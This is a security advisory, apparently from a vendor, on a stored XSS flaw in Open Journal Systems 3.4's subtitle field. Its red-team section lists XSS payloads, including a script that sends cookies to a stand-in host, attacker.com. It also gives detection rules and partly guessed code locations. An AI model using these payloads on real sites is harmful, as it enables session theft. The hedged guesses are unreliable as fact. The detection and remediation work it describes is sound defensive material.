CVE-2024-24512

Executive Summary

CVE-2024-24512 is a Cross-Site Scripting (XSS) vulnerability identified in PKP Open Journal Systems (OJS) version 3.4. The flaw resides in the input subtitle component, allowing an authenticated or unauthenticated attacker (depending on the component's exposure) to inject arbitrary JavaScript code. This can lead to session hijacking, defacement, or redirection of users to malicious sites. As of this report, no official patch has been released, and the CVSS score is listed as 0.0 (likely unassigned or placeholder). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

OJS is a PHP-based application distributed via GitHub and official PKP channels. No NPM, PyPI, Go, or Ruby packages are involved. The vulnerability is in the core application code, not a third-party library.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector: Network (likely)
• Attack Complexity: Low (likely)
• Privileges Required: None or Low (depends on component exposure)
• User Interaction: Required (victim must view the malicious subtitle)
• Scope: Changed (XSS can affect other resources)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium (due to lack of patch and potential for targeted attacks)

Deep Dive & Mechanics

The vulnerability is a stored XSS in the subtitle input field of OJS 3.4. The application fails to properly sanitize or encode user-supplied input before rendering it in the HTML output. An attacker can inject a payload such as:

<script>alert('XSS')</script>

When an administrator or editor views the submission with the malicious subtitle, the script executes in their browser context. This can be used to steal session cookies, perform actions on behalf of the victim, or redirect to phishing pages.

The vulnerable code likely resides in a template or controller that outputs the subtitle without escaping. For example:

// Vulnerable code (hypothetical)
echo $subtitle;

Instead of:

// Patched code
echo htmlspecialchars($subtitle, ENT_QUOTES, 'UTF-8');

Vulnerable vs. Patched Code

Vulnerable (OJS 3.4):

// In a template file (e.g., templates/submission/submission.tpl)
{$subtitle}

Patched (Expected fix):

{$subtitle|escape}

Or in PHP:

echo htmlspecialchars($subtitle, ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team

1. Setup: Deploy OJS 3.4 locally using Docker or manual installation.
2. Craft Payload: Create a submission with a subtitle containing:

   <img src=x onerror=alert(document.cookie)>
   

3. Trigger: Have an admin view the submission. The XSS fires.
4. Advanced Payload: Steal cookies via:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

Blue Team

1. Detection: Monitor for unusual subtitle content containing <script>, <img onerror>, or encoded JavaScript.
2. Mitigation: Apply input validation and output encoding. Use Content Security Policy (CSP) headers.
3. Hunting: Search logs for requests to /index.php/*/submission/* with suspicious query strings.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from OJS server.
• File: Modified submission records in database with JavaScript payloads in subtitle field.
• Log: Access logs showing GET /index.php/*/submission/* with subtitle= parameter containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_24512_OJS_XSS {
    meta:
        description = "Detects XSS payloads in OJS subtitle fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24512"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]+onerror\s*=/i
        $xss3 = /<svg[^>]+onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: OJS Subtitle XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in OJS subtitle fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'subtitle='
        cs-uri-query|re: '(<script|<img onerror|<svg onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in subtitle (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24512 OJS Subtitle XSS Attempt"; flow:to_server; content:"subtitle="; nocase; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the subtitle input field or apply a WAF rule to block XSS patterns.
2. Short-term: Manually patch the code by adding htmlspecialchars() or |escape to the subtitle output.
3. Long-term: Upgrade to a patched version once PKP releases it. Monitor PKP GitHub for updates.
4. Compensating Controls: Implement Content Security Policy (CSP) headers to restrict script execution.

Valters IT
Securing Digital Frontiers